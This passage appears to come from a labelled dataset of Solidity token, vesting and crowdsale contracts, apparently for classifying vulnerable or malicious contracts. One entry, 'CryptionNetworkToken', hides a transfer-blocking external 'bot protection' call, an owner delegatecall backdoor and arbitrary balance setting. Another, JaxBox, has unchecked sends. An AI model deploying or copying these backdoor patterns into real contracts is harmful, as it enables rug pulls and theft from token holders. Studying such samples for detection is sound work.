freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "StairsGold";
string public constant TOKEN_SYMBOL = "STG";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x8a536BaEBdF1B9F6a5b58e7cC8A0455F29091669;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[5] memory addresses = [address(0x2f5503845453be2a164eedeabd27196b2c5d9050),address(0xfe280e45e3d1012af2b05c2efcd7d68f86926ce0),address(0xd519934362ee180b80cd225227b103d0e50e053e),address(0x56612362f5dc89b2759df8227b64e8869e00f597),address(0x8a536baebdf1b9f6a5b58e7cc8a0455f29091669)];
uint[5] memory amounts = [uint(1250000000000000000000000000),uint(1250000000000000000000000000),uint(6000000000000000000000000000),uint(4000000000000000000000000000),uint(8500000000000000000000000000)];
uint64[5] memory freezes = [uint64(1638331206),uint64(1701403206),uint64(1577851206),uint64(1561953606),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 900 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract TokenVestingFactory {
address public defaultOwner;
uint256 constant public DEFAULT_CLIFF = 365 days;
uint256 constant public DEFAULT_DURATION = 4 * 365 days;
bool constant public DEFAULT_REVOCABLE = true;
event DeployedVestingContract(address indexed vesting, address indexed beneficiary, address indexed owner);
constructor (address _defaultOwner) public {
defaultOwner = _defaultOwner;
}
function deployDefaultVestingContract(address _beneficiary, uint256 _start) public {
deployVestingContract(defaultOwner, _beneficiary, _start, DEFAULT_CLIFF, DEFAULT_DURATION, DEFAULT_REVOCABLE);
}
function deployVestingContract(address _owner, address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
TokenVesting vesting = new TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable);
vesting.transferOwnership(_owner);
emit DeployedVestingContract(vesting, _beneficiary, _owner);
}
} | 0 | 1,446 |
pragma solidity ^0.4.17;
contract tokenRecipient { function receiveApproval(address from, uint256 value, address token, bytes extraData); }
contract JaxBox
{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public remaining;
uint256 public ethRate;
address public owner;
uint256 public amountCollected;
uint8 public icoStatus;
uint8 public icoTokenPrice;
address public benAddress;
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public investors;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event TransferSell(address indexed from, address indexed to, uint256 value, string typex);
function JaxBox()
{
totalSupply = 10000000000000000000000000000;
owner = msg.sender;
balanceOf[owner] = totalSupply;
totalSupply = totalSupply;
name = "JaxBox";
symbol = "JBC";
decimals = 18;
remaining = totalSupply;
ethRate = 300;
icoStatus = 1;
icoTokenPrice = 10;
benAddress = 0x57D1aED65eE1921CC7D2F3702C8A28E5Dd317913;
}
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
function () payable
{
if (remaining > 0 && icoStatus == 1 )
{
uint finalTokens = ((msg.value / 10 ** 16) * ((ethRate * 10 ** 2) / icoTokenPrice)) / 10 ** 2;
if(finalTokens < remaining)
{
remaining = remaining - finalTokens;
amountCollected = amountCollected + (msg.value / 10 ** 18);
_transfer(owner,msg.sender, finalTokens);
TransferSell(owner, msg.sender, finalTokens,'Online');
}
else
{
throw;
}
}
else
{
throw;
}
}
function sellOffline(address rec_address,uint256 token_amount) onlyOwner
{
if (remaining > 0)
{
uint finalTokens = (token_amount * (10 ** 18));
if(finalTokens < remaining)
{
remaining = remaining - finalTokens;
_transfer(owner,rec_address, finalTokens);
TransferSell(owner, rec_address, finalTokens,'Offline');
}
else
{
throw;
}
}
else
{
throw;
}
}
function getEthRate() onlyOwner constant returns (uint)
{
return ethRate;
}
function setEthRate (uint newEthRate) onlyOwner
{
ethRate = newEthRate;
}
function getTokenPrice() onlyOwner constant returns (uint8)
{
return icoTokenPrice;
}
function setTokenPrice (uint8 newTokenRate) onlyOwner
{
icoTokenPrice = newTokenRate;
}
function changeIcoStatus (uint8 statx) onlyOwner
{
icoStatus = statx;
}
function withdraw(uint amountWith) onlyOwner
{
if(msg.sender == owner)
{
if(amountWith > 0)
{
amountWith = (amountWith * 10 ** 18);
benAddress.send(amountWith);
}
}
else
{
throw;
}
}
function withdraw_all() onlyOwner
{
if(msg.sender == owner)
{
benAddress.send(this.balance);
}
else
{
throw;
}
}
function mintToken(uint256 tokensToMint) onlyOwner
{
var totalTokenToMint = tokensToMint * (10 ** 18);
balanceOf[owner] += totalTokenToMint;
totalSupply += totalTokenToMint;
Transfer(0, owner, totalTokenToMint);
}
function freezeAccount(address target, bool freeze) onlyOwner
{
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function getCollectedAmount() constant returns (uint256 balance)
{
return amountCollected;
}
function balanceOf(address _owner) constant returns (uint256 balance)
{
return balanceOf[_owner];
}
function totalSupply() constant returns (uint256 tsupply)
{
tsupply = totalSupply;
}
function transferOwnership(address newOwner) onlyOwner
{
balanceOf[owner] = 0;
balanceOf[newOwner] = remaining;
owner = newOwner;
}
function _transfer(address _from, address _to, uint _value) internal
{
require(!frozenAccount[_from]);
require (_to != 0x0);
require (balanceOf[_from] > _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value)
{
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success)
{
require (_value < allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success)
{
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) returns (bool success)
{
require (balanceOf[msg.sender] > _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns (bool success)
{
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 2,963 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract CareerChainToken is CappedToken(145249999000000000000000000), BurnableToken {
string public name = "CareerChain Token";
string public symbol = "CCH";
uint8 public decimals = 18;
function burn(uint256 _value) public onlyOwner {
_burn(msg.sender, _value);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping(address => bool) public whitelist;
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract CareerChainPrivateSale is TimedCrowdsale, WhitelistedCrowdsale {
using SafeMath for uint256;
uint256 public tokensStillInLockup;
uint256[6] public lockupEndTime;
mapping(address => uint256) public balances;
mapping(address => uint256) public released;
uint256 public firstVestedLockUpAmount;
uint256 public stagedVestedLockUpAmounts;
function CareerChainPrivateSale
(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256[6] _lockupEndTime,
uint256 _firstVestedLockUpAmount,
uint256 _stagedVestedLockUpAmounts,
CareerChainToken _token
)
public
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
{
require(_lockupEndTime[0] >= block.timestamp);
require(_lockupEndTime[1] >= _lockupEndTime[0]);
require(_lockupEndTime[2] >= _lockupEndTime[1]);
require(_lockupEndTime[3] >= _lockupEndTime[2]);
require(_lockupEndTime[4] >= _lockupEndTime[3]);
require(_lockupEndTime[5] >= _lockupEndTime[4]);
lockupEndTime = _lockupEndTime;
firstVestedLockUpAmount = _firstVestedLockUpAmount;
stagedVestedLockUpAmounts = _stagedVestedLockUpAmounts;
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
uint256 newTokensSold = tokensStillInLockup.add(_tokenAmount);
require(newTokensSold <= token.balanceOf(address(this)));
tokensStillInLockup = newTokensSold;
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
}
function TransferUnsoldTokensBackToTokenContract(address _beneficiary) public onlyOwner {
require(hasClosed());
uint256 unSoldTokens = token.balanceOf(address(this)).sub(tokensStillInLockup);
token.transfer(_beneficiary, unSoldTokens);
}
function IssueTokensToInvestors(address _beneficiary, uint256 _amount) public onlyOwner onlyWhileOpen{
require(_beneficiary != address(0));
_processPurchase(_beneficiary, _amount);
}
function _changeRate(uint256 _rate) public onlyOwner {
require(_rate > 0);
rate = _rate;
}
function releasableAmount() private view returns (uint256) {
return vestedAmount().sub(released[msg.sender]);
}
function vestedAmount() private view returns (uint256) {
uint256 lockupStage = 0;
uint256 releasable = 0;
uint256 i=0;
while (i < lockupEndTime.length && lockupEndTime[i]<=now)
{
lockupStage = lockupStage.add(1);
i = i.add(1);
}
if(lockupStage>0)
{
releasable = (lockupStage.sub(1).mul(stagedVestedLockUpAmounts)).add(firstVestedLockUpAmount);
}
return releasable;
}
function withdrawTokens() public {
uint256 tobeReleased = 0;
uint256 unreleased = releasableAmount();
if(balances[msg.sender] >= unreleased && lockupEndTime[lockupEndTime.length-1] > now)
{
tobeReleased = unreleased;
}
else
{
tobeReleased = balances[msg.sender];
}
require(tobeReleased > 0);
balances[msg.sender] = balances[msg.sender].sub(tobeReleased);
tokensStillInLockup = tokensStillInLockup.sub(tobeReleased);
released[msg.sender] = released[msg.sender].add(tobeReleased);
_deliverTokens(msg.sender, tobeReleased);
}
} | 0 | 1,849 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract CryptionNetworkToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Cryption Network Token";
string public symbol = "CNT";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wrappedEther, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_reallyGoHere.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | 1 | 2,167 |
pragma solidity ^0.4.16;
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Token is StandardToken, Ownable {
using SafeMath for uint256;
uint256 public startBlock;
uint256 public endBlock;
address public wallet;
uint256 public tokensPerEther;
uint256 public weiRaised;
uint256 public cap;
uint256 public issuedTokens;
string public name = "Realestateco.in";
string public symbol = "REAL";
uint public decimals = 4;
uint public INITIAL_SUPPLY = 80000000000000;
uint factor;
bool internal isCrowdSaleRunning;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Token() {
wallet = address(0x879bf61F63a8C58D802EC612Aa8E868882E532c6);
tokensPerEther = 331;
endBlock = block.number + 400000;
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
startBlock = block.number;
cap = INITIAL_SUPPLY;
issuedTokens = 0;
factor = 10**14;
isCrowdSaleRunning = true;
}
function () payable {
buyTokens(msg.sender);
}
function stopCrowdSale() onlyOwner {
isCrowdSaleRunning = false;
}
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
